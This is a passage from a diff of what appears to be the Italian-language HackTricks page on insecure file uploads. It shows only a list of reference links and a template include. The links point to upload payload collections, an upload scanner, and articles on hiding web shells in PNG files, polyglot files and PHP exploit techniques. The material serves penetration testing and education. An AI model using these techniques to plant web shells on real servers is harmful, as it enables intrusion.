- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -322,5 +328,6 @@ Come evitare le rilevazioni del tipo di file caricando un file JSON valido anche
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}